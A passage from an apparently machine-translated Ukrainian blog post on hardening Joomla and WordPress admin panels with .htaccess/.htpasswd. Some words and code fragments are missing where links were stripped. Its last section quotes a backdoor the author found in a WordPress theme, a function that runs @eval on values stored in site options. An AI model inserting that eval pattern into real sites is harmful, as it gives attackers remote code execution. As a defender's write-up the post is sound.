  5. Все вищесказане покликане знизити ймовірність злому вашого сайту та проникнення на нього шелів та інших шкідників. Однак, вжиті запобіжні заходи не дають гарантії, тому було б чудово на сервері (де живе ваш сайт на Joomla 1.5) . Це дозволить зняти весь негатив від безбожності, що просочилася. Проте, особисто я знову ж таки це ще не здійснив з причин своєї «темності». Буду вдячний за посилання на матеріали, що пояснюють цей процес.
  6. Найчастіше ламають сайти, отримавши доступ до адміністративної панелі. Зрозуміло, що вона захищена паролем, тому методом брутфорсу (розумного підбору) багато, навіть начебто складні паролі ламають на раз-два. Тому адмінку теж потрібно захищатиі краще це робити не за допомогою додаткових розширень, а саме засобами сервера. Варіантів захисту є кілька. Наприклад, можна змінити тим чи іншим чином Урл адресу адмінки, щоб зломщик не міг би розпочати свою брудну справу.

    Інший метод захисту, який буде описано в подробицях нижче, полягає у створенні додаткової перешкоди на шляху зломщика (живої людини або скрипта). Полягає він у запоролювання директорії з файлами адмінки (у Joomla це папка administrator, а в WordPress - wp-admin) засобами веб-сервера. Виходить, що при зверненні до адмінки спочатку потрібно буде ввести логін та пароль для доступу до папки, а вже потім логін та пароль для доступу, власне, до адмінки движка. Причому, ламаючи перший рубіж оборони методами брутфорсу, зловред не створюватиме значного додаткового навантаження на сервер, що є добре.

  7. Ще одним дуже важливим, на мій погляд, зауваженням щодо підвищення захищеності ваших сайтів від вламків та зараження вірусами є дотримання правила: одні сайт — одні облікові записи на хостингу. Так, це дорожче, але набагато безпечніше. При розміщенні на одному обліковому записі, відразу всі ваші сайти будуть доступні по ФТП при отриманні доступу зловреда лише до одного з них. Ламають сайти на автоматі, і сподіватися, що скрипти не підуть вгору по дереву каталогів, було б не розумно. До того ж, лікувати пачку сайтів на одному акці хостингу дуже важко, бо займаючись одним сайтом, ви упускаєте з виду вже вилікуваний, який у цей час заражають.
  8. Ламати, до речі, можуть не тільки з вашого сайту, але і з сайту вашого сусіда по хостингу, якщо власники належним чином не подбали про виключення цієї можливості. Можуть зламати і панель хостингу (типу, ), але в будь-якому випадку кількість зломів з вини хостера мізерна в порівнянні з числом зламів у вигляді безтурботності власників сайтів.

Як захистити адмінку свого сайту від злому?

Я хочу детально розповісти про той метод захисту, який зовсім недавно використовував сам. Полягає він у заборона доступу до папок, де лежать файли адміністративної панелі сайту. Заборона встановлюється за допомогою чудового файлика.htaccess, який, по суті, дозволяє дистанційно керувати налаштуваннями веб-сервера, на якому встановлений ваш сайт. При цьому він вміє це робити вибірково.

Усі директиви, прописані в.htaccess, поширюватимуться виключно на той каталог, у якому він знаходиться. Хочете щось змінити в налаштуваннях стосовно всього сайту? Поміщайте тоді.htaccess у кореневу папку. Ну, а нас цікавлять налаштування щодо папки з файлами адмінки, тому ми його туди і помістимо. У Joomla це буде папка administrator, в WordPress - wp-admin.

Проте одним.htaccess нам не обійтися. Прийде задіяти ще і.htpasswd, де зберігатиметься логін і пароль для доступу до цієї адміністративної папки. Причому пароль зберігатиметься не у відкритому вигляді, а як MD5 шифру. Відновити пароль не вийде, зате при введенні правильної комбінації в полі пароля, веб-сервер порахує для цієї комбінації MD5 суму і порівняє з тим, що зберігається в.htpasswd. Якщо дані збігатимуться, то вас пустять до адмінки Joomla або WordPress, а якщо ні, то не пустять.

Ось і все, лишилося тільки втілити намічене в життя. Адже треба якісь директиви в.htaccess додати. Ви знаєте які? Я не знаю. Та й якось потрібно буде пароль перегнати в MD5 послідовність. Проблема. Однак вона має досить просте рішення. Добрі люди організували онлайн-сервіс з генерації вмісту для файлу.htaccess та файлу.htpasswd на основі придуманих вами логіну та паролю. Щоправда, доведеться ще й абсолютний шлях до адміністративної папки вказати, але це вже дрібниці.

Отже, зустрічайте великий і жахливий генератор захисту для адмінки вашого сайту. Зрозуміло, так? Вигадуєте, а найкраще на якомусь створюєте дві складні комбінації букв, цифр і знаків, після чого їх вводите у два верхні поля. Записати їх тільки не забудьте, або в менеджер паролів запхати, інакше самі в адмінку увійти не зможете і доведеться все описане в цій частині починати робити заново.

Ось теперича. Знаєте такий? Навіть якщо не знаєте, не біда. Підключаєтеся до сайту ФТП, створюєте в його корені файлик з будь-якою назвою (та хоч з таким url_path.php) і додаєте в нього такий простий код:

"; echo "Повний шлях до скрипту та його ім'я: ".$_SERVER["SCRIPT_FILENAME"]."
"; echo "Ім'я скрипта: ".$_SERVER["SCRIPT_NAME"]; ?>

Потім заходьте в браузер і вводите в адресний рядок ось такий Урл (з вашим доменом, звичайно ж):

http://сайт/url_path.php

В результаті побачите той абсолютний шлях, що вас цікавив. Введіть його у вказаному вище генераторі файлів .htaccess та .htpasswd. Не забудьте додати в кінці цього шляху назву папки admin або wp-admin без сліша на кінці. Все, тепер тиснете на кнопку «Сгенерувати»

І по черзі переносіть вміст для файлів.htaccess і.htpasswd безпосередньо в ці файли.

Сподіваюся, що ви їх вже створили в папках administrator або wp-admin (залежно від двигуна, який ви використовуєте)?

Ну, а тепер уже спробуйте зайти до адмінки. З'являється вікно із пропозицією ввести логін та пароль від вашого веб-сервера? У різних браузерах воно малюється по-різному, але в Хромі воно виглядає так:

Якщо щось не клеїться, то "паліть" абсолютний шлях до.htpasswd, прописаний у файлі.htaccess. У цьому випадку просто вручну його виправте під час редагування файлу. Ось і все, що я хотів вам розповісти. Якщо хочете посварити або щось додати, то в дорогу.

Вірус у WordPress?

Вже після написання цієї статті виявив на своєму блозі (https://сайт) зловреда (або щось таке, що встановилося в обхід моєї волі). Я просто хотів щось там поміняти в коді і заліз у . У самому його низу, безпосередньо перед тегом Body, мені кинувся в очі виклик якоїсь незнайомої мені функції (за її назвою, але нічого путнього не виявив):

Назва начебто осудна. Примітно, що за три тижні до цього я випадково виявив, що в мене з'явилася нова таблиця в базах даних двох моїх блогів на WordPress (https://сайт і ще одного). Назва у неї була просто чудова — wp-config. Гуглення по цій назві знову нічого путнього не дало, бо всі відповіді були пов'язані з однойменним файлом wp-config.php.

Таблиця ця дуже швидко росла в розмірах (до сотні мегабайт на https://сайт) і в неї писалися адреси сторінок мого сайту з різними параметрами. Не зрозумівши суті цього процесу, просто зніс цю таблицю і все. До речі, я маю ще один блог на WordPress, але там нічого подібного не спостерігалося.

Ну, а ось тут виявив таку вставку в тему. Вирішив і подивитися, чи не додалося там чогось співзвучного з описаним вище рядком унизу футера. Виявилось, що додалося. Причому так акуратно - ні в самому верху, ні в самому низу, а другий (або третьої) зверху вписаною функцією:

Function wp_custom_page_links_return() ( $option = get_option("wp_custom_page_links"); @eval($option); ) @eval(get_option("wp_brlinks"));

Тут і чудовий «eval» у вічі впадає. Що примітно, Айболіт (описаний вище) знайшов цей фрагмент підозрілим, але в мене поки що до нього руки не дійшли, бо цей скрипт дуже багатьох підозрює в неблагонадійності. Щодо цього коду я теж гуглив і знайшов пост (на жаль, зараз той домен блокували за несплату) з описом схожої проблеми. У товариша ця гидота просочилася з новою темою, в яку був зашитий якийсь настановний код.

У мене ж теми на обох блогах, що заразилися, стоять вже по багато років. Напевно, була якась вразливість у движку або , якою оперативно (на потоці) скористалися недоброзичливці. Загалом, перевірте відсутність подібних вкраплень. Дата зміни описаних файлів припадала, на мою думку, на середину вересня цього року.

Раджу так само подивитися добірку з 17 відеоуроків щодо безпеки сайтів на Joomla. Вони будуть відтворюватися один за одним автоматично, а якщо хочете, то можете перемикатися на наступний урок за допомогою відповідної кнопки на панелі плеєра або вибрати потрібний урок з меню у верхньому лівому куті вікна плеєра:

Приємного перегляду!

Удачі вам! До швидких зустрічей на сторінках блогу сайт

Вам може бути цікаво

Сайт на Joomla став видавати купу помилок типу - Strict Standards:
Оновлення Joomla до останньої версії
Створення картки для сайту на Joomla за допомогою компонента Xmap
Що таке Joomla
Групи користувачів у Joomla, налаштування кешування та проблема відправки пошти з сайту
Компонент K2 для створення блогів, каталогів та порталів на Joomla - можливості, встановлення та русифікація
Модулі в Joomla - перегляд позиції, налаштування та виведення, а також призначення суфіксів класу
Як оновити статичний Html сайт до динамічного на Joomla
Установка WordPress у деталях та картинках, вхід до адмінки WP та зміна пароля
Плагіни Joomla - TinyMCE, Load Module, Legacy та інші встановлені за замовчуванням